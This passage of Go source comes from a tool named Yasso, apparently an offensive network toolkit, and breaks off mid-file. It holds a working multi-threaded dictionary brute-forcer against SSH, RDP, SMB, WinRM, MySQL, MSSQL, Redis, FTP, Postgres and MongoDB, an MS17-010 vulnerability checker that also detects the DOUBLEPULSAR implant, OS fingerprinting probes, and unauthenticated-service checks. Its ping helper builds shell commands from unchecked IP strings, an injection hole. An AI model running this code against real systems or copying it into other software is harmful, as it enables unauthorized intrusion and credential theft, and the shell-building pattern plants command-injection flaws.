184 | if err != nil {
185 | logger.Fatal("parse ip address has an error", err.Error())
186 | return []string{}, err
187 | }
188 | }
189 | // 二次筛选
190 | var newBasic []string
191 | for _, ip := range basic {
192 | if strings.Contains(ip, "/") {
193 | newBasic = append(newBasic, strings.Split(ip, "/")[0])
194 | } else {
195 | newBasic = append(newBasic, ip)
196 | }
197 | }
198 | // 对获取到的ip地址进行排序进行后续操作
199 | sort.Strings(newBasic)
200 | return newBasic, err
201 | }
202 |
203 | // ConvertIpFormatA 不解析192.168.248.1/8格式目前
204 | func ConvertIpFormatA(ip string) ([]string, error) {
205 | var ip4 = net.ParseIP(strings.Split(ip, "/")[0])
206 | if ip4 == nil {
207 | return []string{}, errors.New("not an ipv4 address")
208 | }
209 | var mark = strings.Split(ip, "/")[1]
210 | var temp []string
211 | var err error
212 | switch mark {
213 | case "24":
214 | var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
215 | for i := 0; i <= 255; i++ {
216 | temp = append(temp, ip3+"."+strconv.Itoa(i))
217 | }
218 | err = nil
219 | case "16":
220 | var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
221 | for i := 0; i <= 255; i++ {
222 | for j := 0; j <= 255; j++ {
223 | temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
224 | }
225 | }
226 | err = nil
227 | default:
228 | temp = []string{}
229 | err = errors.New("not currently supported")
230 | }
231 | return temp, err
232 | }
233 |
234 | func ConvertIpFormatB(ip string) ([]string, error) {
235 | var ip4 = strings.Split(ip, "-")
236 | var ipA = net.ParseIP(ip4[0])
237 | if ip4 == nil {
238 | return []string{}, errors.New("not an ipv4 address")
239 | }
240 | var temp []string
241 | if len(ip4[1]) < 4 {
242 | iprange, err := strconv.Atoi(ip4[1])
243 | if ipA == nil || iprange > 255 || err != nil {
244 | return []string{}, errors.New("input format is not ccorrect")
245 | }
246 | var splitip = strings.Split(ip4[0], ".")
247 | ip1, err1 := strconv.Atoi(splitip[3])
248 | ip2, err2 := strconv.Atoi(ip4[1])
249 | prefixip := strings.Join(splitip[0:3], ".")
250 | if ip1 > ip2 || err1 != nil || err2 != nil {
251 | return []string{}, errors.New("input format is not ccorrect")
252 | }
253 | for i := ip1; i <= ip2; i++ {
254 | temp = append(temp, prefixip+"."+strconv.Itoa(i))
255 | }
256 | } else {
257 | var splitip1 = strings.Split(ip4[0], ".")
258 | var splitip2 = strings.Split(ip4[1], ".")
259 | if len(splitip1) != 4 || len(splitip2) != 4 {
260 | return []string{}, errors.New("input format is not ccorrect")
261 | }
262 | start, end := [4]int{}, [4]int{}
263 | for i := 0; i < 4; i++ {
264 | ip1, err1 := strconv.Atoi(splitip1[i])
265 | ip2, err2 := strconv.Atoi(splitip2[i])
266 | if ip1 > ip2 || err1 != nil || err2 != nil {
267 | return []string{}, errors.New("input format is not ccorrect")
268 | }
269 | start[i], end[i] = ip1, ip2
270 | }
271 | startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
272 | endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
273 | for num := startNum; num <= endNum; num++ {
274 | ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
275 | temp = append(temp, ip)
276 | }
277 | }
278 | return temp, nil
279 | }
280 |
281 | func ConvertIpFormatAll(ip string) ([]string, error) {
282 | reg := regexp.MustCompile(`[a-zA-Z]+`)
283 | switch {
284 | case strings.Count(ip, "/") == 1:
285 | return ConvertIpFormatA(ip)
286 | case strings.Count(ip, "-") == 1:
287 | return ConvertIpFormatB(ip)
288 | case reg.MatchString(ip):
289 | _, err := net.LookupHost(ip)
290 | if err != nil {
291 | return []string{}, err
292 | }
293 | return []string{ip}, nil
294 | default:
295 | var isip = net.ParseIP(ip)
296 | if isip == nil {
297 | return []string{}, errors.New("input format is not ccorrect")
298 | }
299 | return []string{ip}, nil
300 | }
301 | }
302 |
--------------------------------------------------------------------------------
/core/parse/parse_port.go:
--------------------------------------------------------------------------------
1 | package parse
2 |
3 | import (
4 | "strconv"
5 | "strings"
6 | )
7 |
8 | // HandlePorts 解析端口格式
9 | func HandlePorts(ports string) ([]int, error) {
10 | var scanPorts []int
11 | slices := strings.Split(ports, ",")
12 | for _, port := range slices {
13 | port = strings.Trim(port, " ")
14 | upper := port
15 | if strings.Contains(port, "-") {
16 | ranges := strings.Split(port, "-")
17 | if len(ranges) < 2 {
18 | continue
19 | }
20 | startPort, _ := strconv.Atoi(ranges[0])
21 | endPort, _ := strconv.Atoi(ranges[1])
22 | if startPort < endPort {
23 | port = ranges[0]
24 | upper = ranges[1]
25 | } else {
26 | port = ranges[1]
27 | upper = ranges[0]
28 | }
29 | }
30 | start, _ := strconv.Atoi(port)
31 | end, _ := strconv.Atoi(upper)
32 | for i := start; i <= end; i++ {
33 | scanPorts = append(scanPorts, i)
34 | }
35 | }
36 | scanPorts = RemoveDuplicate(scanPorts)
37 | return scanPorts, nil
38 | }
39 |
40 | func RemoveDuplicate(old []int) []int {
41 | result := make([]int, 0, len(old))
42 | temp := map[int]struct{}{}
43 | for _, item := range old {
44 | if _, ok := temp[item]; !ok {
45 | temp[item] = struct{}{}
46 | result = append(result, item)
47 | }
48 | }
49 | return result
50 | }
51 |
--------------------------------------------------------------------------------
/core/plugin/brute.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/config/banner"
6 | "Yasso/core/brute"
7 | "Yasso/core/logger"
8 | "Yasso/core/parse"
9 | "fmt"
10 | "strconv"
11 | "strings"
12 | "sync"
13 | "time"
14 | )
15 |
16 | var BurpMap = map[string]interface{}{
17 | "ssh": SshConnByUser,
18 | "mongodb": MongoAuth,
19 | "mysql": MySQLConn,
20 | "mssql": MssqlConn,
21 | "rdp": RdpConn,
22 | "redis": RedisAuthConn,
23 | "ftp": FtpConn,
24 | "smb": SmbConn,
25 | "winrm": WinRMAuth,
26 | "postgres": PostgreConn,
27 | }
28 |
29 | func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) {
30 | banner.Banner()
31 | defer func() {
32 | logger.Info("brute service complete")
33 | }()
34 | // 先解析传过来的ips列表
35 | if ipd == "" {
36 | logger.Fatal("need ips to parse")
37 | return
38 | }
39 | ips, err := parse.HandleIps(ipd)
40 | if err != nil {
41 | return
42 | }
43 | var userDic, passDic []string
44 | if user != "" {
45 | userDic, err = parse.ReadFile(user)
46 | }
47 | if pass != "" {
48 | passDic, err = parse.ReadFile(pass)
49 | }
50 | if err != nil {
51 | logger.Fatal("dic file is not found")
52 | return
53 | }
54 | var wg sync.WaitGroup
55 | var ipChannel = make(chan string, 1000)
56 | var ipAlive []string
57 | if isAlive == true {
58 | for i := 0; i < thread; i++ {
59 | wg.Add(1)
60 | go func() {
61 | defer wg.Done()
62 | for ip := range ipChannel {
63 | if ping(ip) == true {
64 | logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
65 | ipAlive = append(ipAlive, ip)
66 | }
67 | }
68 | }()
69 | }
70 | for _, ip := range ips {
71 | // 带有端口的不进行扫描,直接加入
72 | if strings.Contains(ip, ":") {
73 | ipAlive = append(ipAlive, ip)
74 | continue
75 | } else {
76 | ipChannel <- ip
77 | }
78 | }
79 | close(ipChannel) // 防止死锁
80 | wg.Wait()
81 | } else {
82 | ipAlive = ips
83 | }
84 |
85 | logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ",")))
86 | // 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445
87 | for _, each := range strings.Split(module, ",") { // 遍历每一个服务
88 | // 这里获取到对应的服务和端口
89 | service := strings.Split(each, ":")
90 | if len(service) >= 3 || len(service) <= 0 {
91 | logger.Fatal("brute service format is error")
92 | break
93 | }
94 | switch service[0] {
95 | case "ssh":
96 | var p int
97 | if len(service) == 2 {
98 | // 带端口,采用用户自带端口
99 | p, err = strconv.Atoi(service[1])
100 | } else {
101 | // 不带端口,采用默认
102 | p = 22
103 | }
104 | if err != nil {
105 | logger.Fatal("port number useless")
106 | break
107 | }
108 | run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"])
109 | case "mongo":
110 | var p int
111 | if len(service) == 2 {
112 | // 带端口,采用用户自带端口
113 | p, err = strconv.Atoi(service[1])
114 | } else {
115 | // 不带端口,采用默认
116 | p = 27017
117 | }
118 | if err != nil {
119 | logger.Fatal("port number useless")
120 | break
121 | }
122 | run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"])
123 | case "mysql":
124 | var p int
125 | if len(service) == 2 {
126 | // 带端口,采用用户自带端口
127 | p, err = strconv.Atoi(service[1])
128 | } else {
129 | // 不带端口,采用默认
130 | p = 3306
131 | }
132 | if err != nil {
133 | logger.Fatal("port number useless")
134 | break
135 | }
136 | run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"])
137 | case "rdp":
138 | var p int
139 | if len(service) == 2 {
140 | // 带端口,采用用户自带端口
141 | p, err = strconv.Atoi(service[1])
142 | } else {
143 | // 不带端口,采用默认
144 | p = 3389
145 | }
146 | if err != nil {
147 | logger.Fatal("port number useless")
148 | break
149 | }
150 | run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"])
151 | case "redis":
152 | var p int
153 | if len(service) == 2 {
154 | // 带端口,采用用户自带端口
155 | p, err = strconv.Atoi(service[1])
156 | } else {
157 | // 不带端口,采用默认
158 | p = 6379
159 | }
160 | if err != nil {
161 | logger.Fatal("port number useless")
162 | break
163 | }
164 | run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"])
165 | case "smb":
166 | var p int
167 | if len(service) == 2 {
168 | // 带端口,采用用户自带端口
169 | p, err = strconv.Atoi(service[1])
170 | } else {
171 | // 不带端口,采用默认
172 | p = 445
173 | }
174 | if err != nil {
175 | logger.Fatal("port number useless")
176 | break
177 | }
178 | run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"])
179 | case "winrm":
180 | var p int
181 | if len(service) == 2 {
182 | // 带端口,采用用户自带端口
183 | p, err = strconv.Atoi(service[1])
184 | } else {
185 | // 不带端口,采用默认
186 | p = 5985
187 | }
188 | if err != nil {
189 | logger.Fatal("port number useless")
190 | break
191 | }
192 | run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"])
193 | case "postgres":
194 | var p int
195 | if len(service) == 2 {
196 | // 带端口,采用用户自带端口
197 | p, err = strconv.Atoi(service[1])
198 | } else {
199 | // 不带端口,采用默认
200 | p = 5432
201 | }
202 | if err != nil {
203 | logger.Fatal("port number useless")
204 | break
205 | }
206 | run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"])
207 | case "mssql":
208 | var p int
209 | if len(service) == 2 {
210 | // 带端口,采用用户自带端口
211 | p, err = strconv.Atoi(service[1])
212 | } else {
213 | // 不带端口,采用默认
214 | p = 1433
215 | }
216 | if err != nil {
217 | logger.Fatal("port number useless")
218 | break
219 | }
220 | run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"])
221 | case "ftp":
222 | var p int
223 | if len(service) == 2 {
224 | // 带端口,采用用户自带端口
225 | p, err = strconv.Atoi(service[1])
226 | } else {
227 | // 不带端口,采用默认
228 | p = 21
229 | }
230 | if err != nil {
231 | logger.Fatal("port number useless")
232 | break
233 | }
234 | run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"])
235 | default:
236 | logger.Fatal(fmt.Sprintf("not found service %s", service[0]))
237 | return
238 | }
239 | }
240 |
241 | }
242 |
243 | // 执行爆破的函数
244 | func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) {
245 | var ipChannel = make(chan string, 1000) // 二次复用
246 | var mutex sync.Mutex
247 | var wg sync.WaitGroup
248 | for i := 0; i < thread; i++ {
249 | wg.Add(1)
250 | go func() {
251 | defer wg.Done()
252 | for ip := range ipChannel {
253 | // 这里获取到每一个ip
254 | mutex.Lock()
255 | brute.NewBrute(user, pass, method, service, config.ServiceConn{
256 | Hostname: ip,
257 | Port: port,
258 | Timeout: time.Duration(timeout),
259 | }, thread, false, "").RunEnumeration()
260 | mutex.Unlock()
261 | }
262 | }()
263 | }
264 | for _, ip := range ips {
265 | // 带有端口的不进行扫描,直接直接跳过
266 | if strings.Count(ip, ":") == 1 {
267 | if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同
268 | ipChannel <- strings.Split(ip, ":")[0]
269 | } else {
270 | continue
271 | }
272 | } else {
273 | ipChannel <- ip
274 | }
275 | }
276 | close(ipChannel) // 防止死锁
277 | wg.Wait()
278 | }
279 |
--------------------------------------------------------------------------------
/core/plugin/dcerpc.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "bytes"
6 | "encoding/binary"
7 | "fmt"
8 | "net"
9 | "time"
10 | )
11 |
12 | const v1 = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00\x00\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36\x01\x00\x00\x00"
13 |
14 | const dce = "\x05\x00\x0b\x03\x10\x00\x00\x00\x78\x00\x28\x00\x03\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00\x0a\x02\x00\x00\x00\x00\x00\x00\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f"
15 |
16 | var length = 0
17 |
18 | func DceRpcOSVersion(ip string, port int, timeout time.Duration) (bool, string) {
19 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), timeout)
20 | if err != nil {
21 | return false, ""
22 | }
23 | _, err = conn.Write([]byte(dce))
24 | if err != nil {
25 | return false, ""
26 | }
27 | var buffer = make([]byte, 4096)
28 | _, err = conn.Read(buffer)
29 | if err != nil {
30 | return false, ""
31 | }
32 | digit := osDigits(ip) // 获取位数
33 | osVersionBytes := buffer[int(0xa0)-54+10 : int(0xa0)-54+18]
34 | majorVersion := osVersionBytes[0:1] // 主要版本
35 | MinorVersion := osVersionBytes[1:2] // 次要版本
36 | BuildNumber := osVersionBytes[2:4] // 构建号
37 | osVersion := fmt.Sprintf("Windows Verison %d.%d Build %v %v", majorVersion[0], MinorVersion[0], binary.LittleEndian.Uint16(BuildNumber), digit)
38 |
39 | //infoLengthBytes := buffer[int(0xa0)-54+2 : int(0xa0)-54+4]
40 | //infoLength := int(binary.LittleEndian.Uint16(infoLengthBytes))
41 | //infoBytes := buffer[n-infoLength : n-4]
42 | //netBoisDomainName := attribute(infoBytes)
43 | //dnsDomainName := attribute(infoBytes)
44 | //dnsComputerName := attribute(infoBytes)
45 | //dnsTreeName := attribute(infoBytes)
46 | logger.Success(fmt.Sprintf("%v:%v %v", ip, port, osVersion))
47 | //logger.Info(fmt.Sprintf("NetBios (%v) DomainName (%v) ComputerName (%v)", netBoisDomainName, dnsDomainName, dnsComputerName))
48 | return true, osVersion
49 | }
50 |
51 | func osDigits(ip string) string {
52 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, 135), time.Second*5)
53 | if err != nil {
54 | return ""
55 | }
56 | conn.Write([]byte(v1))
57 | var buffer = make([]byte, 1024)
58 | conn.Read(buffer)
59 | var digits = "x86"
60 | if bytes.Contains(buffer, []byte("\x33\x05\x71\x71\xBA\xBE\x37\x49\x83\x19\xB5\xDB\xEF\x9C\xCC\x36")) {
61 | digits = "x64"
62 | }
63 | return digits
64 | }
65 |
66 | func attribute(info []byte) string {
67 | nameLength := int(binary.LittleEndian.Uint16(info[length+2 : length+4]))
68 | name := bytes.Replace(info[length+4:length+4+nameLength], []byte("\x00"), []byte(""), -1)
69 | length = length + 4 + nameLength
70 | return string(name)
71 | }
72 |
--------------------------------------------------------------------------------
/core/plugin/eternalblue.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "encoding/binary"
7 | "encoding/hex"
8 | "fmt"
9 | "net"
10 | "strings"
11 | "time"
12 | )
13 |
14 | //TODO:MS17010
15 |
16 | var (
17 | negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
18 | sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
19 | treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
20 | transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
21 | trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
22 | )
23 |
24 | func Ms17010Conn(info config.ServiceConn) bool {
25 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
26 | if err != nil {
27 | return false
28 | }
29 | status, err := RequestMs17010(conn, info.Hostname)
30 | if err != nil {
31 | return false
32 | }
33 | if status == true {
34 | return true
35 | }
36 | return false
37 | }
38 |
39 | func RequestMs17010(conn net.Conn, ip string) (bool, error) {
40 | defer conn.Close()
41 | err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond))
42 | if err != nil {
43 | return false, err
44 | }
45 | _, err = conn.Write(negotiateProtocolRequest)
46 | if err != nil {
47 | return false, err
48 | }
49 | reply := make([]byte, 1024)
50 | if n, err := conn.Read(reply); err != nil || n < 36 {
51 | return false, err
52 | }
53 | if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
54 | return false, err
55 | }
56 | _, err = conn.Write(sessionSetupRequest)
57 | if err != nil {
58 | return false, err
59 | }
60 | n, err := conn.Read(reply)
61 | if err != nil || n < 36 {
62 | return false, err
63 | }
64 | if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
65 | // status != 0
66 | //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
67 | return false, fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip)
68 | }
69 |
70 | // extract OS info
71 | var os string
72 | sessionSetupResponse := reply[36:n]
73 | if wordCount := sessionSetupResponse[0]; wordCount != 0 {
74 | // find byte count
75 | byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
76 | if n != int(byteCount)+45 {
77 | logger.Fatal("invalid session setup AndX response")
78 | } else {
79 | // two continous null bytes indicates end of a unicode string
80 | for i := 10; i < len(sessionSetupResponse)-1; i++ {
81 | if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
82 | os = string(sessionSetupResponse[10:i])
83 | os = strings.Replace(os, string([]byte{0x00}), "", -1)
84 | break
85 | }
86 | }
87 | }
88 |
89 | }
90 | userID := reply[32:34]
91 | treeConnectRequest[32] = userID[0]
92 | treeConnectRequest[33] = userID[1]
93 | // TODO change the ip in tree path though it doesn't matter
94 | _, err = conn.Write(treeConnectRequest)
95 | if err != nil {
96 | return false, err
97 | }
98 |
99 | if n, err := conn.Read(reply); err != nil || n < 36 {
100 | return false, err
101 | }
102 |
103 | treeID := reply[28:30]
104 | transNamedPipeRequest[28] = treeID[0]
105 | transNamedPipeRequest[29] = treeID[1]
106 | transNamedPipeRequest[32] = userID[0]
107 | transNamedPipeRequest[33] = userID[1]
108 |
109 | conn.Write(transNamedPipeRequest)
110 | if n, err := conn.Read(reply); err != nil || n < 36 {
111 | return false, err
112 | }
113 |
114 | if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
115 |
116 | logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os))
117 | trans2SessionSetupRequest[28] = treeID[0]
118 | trans2SessionSetupRequest[29] = treeID[1]
119 | trans2SessionSetupRequest[32] = userID[0]
120 | trans2SessionSetupRequest[33] = userID[1]
121 |
122 | conn.Write(trans2SessionSetupRequest)
123 |
124 | if n, err := conn.Read(reply); err != nil || n < 36 {
125 | return false, err
126 | }
127 |
128 | if reply[34] == 0x51 {
129 | fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
130 | }
131 | return true, nil
132 | } else {
133 | fmt.Printf("%s\t \t(%s)\n", ip, os)
134 | }
135 | return false, nil
136 | }
137 |
--------------------------------------------------------------------------------
/core/plugin/ftp.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "fmt"
7 | "github.com/jlaffaye/ftp"
8 | "net"
9 | "time"
10 | )
11 |
12 | func FtpConn(info config.ServiceConn, user, pass string) (bool, error) {
13 | var flag = false
14 | c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
15 |
16 | conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c))
17 | if err == nil {
18 | err = conn.Login(user, pass)
19 | if err == nil {
20 | if pass == "" {
21 | logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
22 | }
23 | flag = true
24 | }
25 | }
26 | return flag, err
27 | }
28 |
--------------------------------------------------------------------------------
/core/plugin/grdp.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "Yasso/pkg/grdp"
7 | "Yasso/pkg/grdp/glog"
8 | "bytes"
9 | "encoding/hex"
10 | "fmt"
11 | "net"
12 | )
13 |
14 | func RdpConn(info config.ServiceConn, user, pass string) (bool, error) {
15 | var err error
16 | var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port)
17 | g := grdp.NewClient(host, glog.NONE)
18 | //SSL协议登录测试
19 | err = g.LoginForSSL(info.Domain, user, pass)
20 | if err == nil {
21 | return true, nil
22 | }
23 | if err.Error() != "PROTOCOL_RDP" {
24 | return false, err
25 | }
26 | //RDP协议登录测试
27 | err = g.LoginForRDP(info.Domain, user, pass)
28 | if err == nil {
29 | return true, nil
30 | } else {
31 | return false, nil
32 | }
33 | }
34 |
35 | func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) {
36 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
37 | if err != nil {
38 | return false, ""
39 | }
40 | msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00"
41 | _, err = conn.Write([]byte(msg))
42 | if err != nil {
43 | return false, ""
44 | }
45 | reply := make([]byte, 256)
46 | _, _ = conn.Read(reply)
47 | if conn != nil {
48 | _ = conn.Close()
49 | }
50 |
51 | var buffer [256]byte
52 | if bytes.Equal(reply[:], buffer[:]) {
53 | return false, ""
54 | } else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" {
55 | return false, ""
56 | }
57 |
58 | os := map[string]string{}
59 | os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2"
60 | os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008"
61 | os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2"
62 | os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012"
63 | os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2"
64 | os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016"
65 | os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019"
66 | var banner string
67 | for k, v := range os {
68 | if k == hex.EncodeToString(reply[0:19]) {
69 | banner = v
70 | logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
71 | return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
72 | }
73 | }
74 | banner = hex.EncodeToString(reply[0:19])
75 | _ = reply
76 | logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
77 | return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
78 | }
79 |
--------------------------------------------------------------------------------
/core/plugin/icmp.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "bytes"
5 | "net"
6 | "os/exec"
7 | "runtime"
8 | "strings"
9 | "time"
10 | )
11 |
12 | func ping(ip string) bool {
13 | var cmd *exec.Cmd
14 | switch runtime.GOOS {
15 | case "windows":
16 | cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
17 | case "linux":
18 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false")
19 | case "darwin":
20 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1 "+ip+" >/dev/null && echo true || echo false")
21 | default:
22 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1"+ip+" >/dev/null && echo true || echo false")
23 | }
24 | info := bytes.Buffer{}
25 | cmd.Stdout = &info
26 | err := cmd.Start()
27 | if err != nil {
28 | return false
29 | }
30 | if err = cmd.Wait(); err != nil {
31 | return false
32 | } else {
33 | if strings.Contains(info.String(), "true") {
34 | return true
35 | } else {
36 | return false
37 | }
38 | }
39 | }
40 |
41 | func icmp(host string) bool {
42 | conn, err := net.DialTimeout("ip4:icmp", host, 1*time.Second)
43 | if err != nil {
44 | return false
45 | }
46 | defer func() {
47 | _ = conn.Close()
48 | }()
49 | if err := conn.SetDeadline(time.Now().Add(1 * time.Second)); err != nil {
50 | return false
51 | }
52 | msg := packet(host)
53 | if _, err := conn.Write(msg); err != nil {
54 | return false
55 | }
56 | var receive = make([]byte, 60)
57 | if _, err := conn.Read(receive); err != nil {
58 | return false
59 | }
60 | return true
61 | }
62 |
63 | func packet(host string) []byte {
64 | var msg = make([]byte, 40)
65 | msg[0] = 8
66 | msg[1] = 0
67 | msg[2] = 0
68 | msg[3] = 0
69 | msg[4], msg[5] = host[0], host[1]
70 | msg[6], msg[7] = byte(1>>8), byte(1&255)
71 | msg[2] = byte(checksum(msg[0:40]) >> 8)
72 | msg[3] = byte(checksum(msg[0:40]) & 255)
73 | return msg
74 | }
75 |
76 | func checksum(msg []byte) uint16 {
77 | var sum = 0
78 | var length = len(msg)
79 | for i := 0; i < length-1; i += 2 {
80 | sum += int(msg[i])*256 + int(msg[i+1])
81 | }
82 | if length%2 == 1 {
83 | sum += int(msg[length-1]) * 256
84 | }
85 | sum = (sum >> 16) + (sum & 0xffff)
86 | sum = sum + (sum >> 16)
87 | return uint16(^sum)
88 | }
89 |
--------------------------------------------------------------------------------
/core/plugin/memcache.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "bytes"
7 | "fmt"
8 | "net"
9 | "time"
10 | )
11 |
12 | func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) {
13 | client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
14 | if err != nil {
15 | return false, err
16 | }
17 | defer func() {
18 | if client != nil {
19 | client.Close()
20 | }
21 | }()
22 | if err == nil {
23 | err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)))
24 | if err == nil {
25 | _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
26 | if err == nil {
27 | reply := make([]byte, 1024)
28 | n, err := client.Read(reply)
29 | if err == nil {
30 | if bytes.Contains(reply[:n], []byte("STAT")) {
31 | logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port)))
32 | return true, nil
33 | }
34 | }
35 | }
36 | }
37 | }
38 | return false, err
39 | }
40 |
--------------------------------------------------------------------------------
/core/plugin/mongo.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "fmt"
7 | "gopkg.in/mgo.v2"
8 | "net"
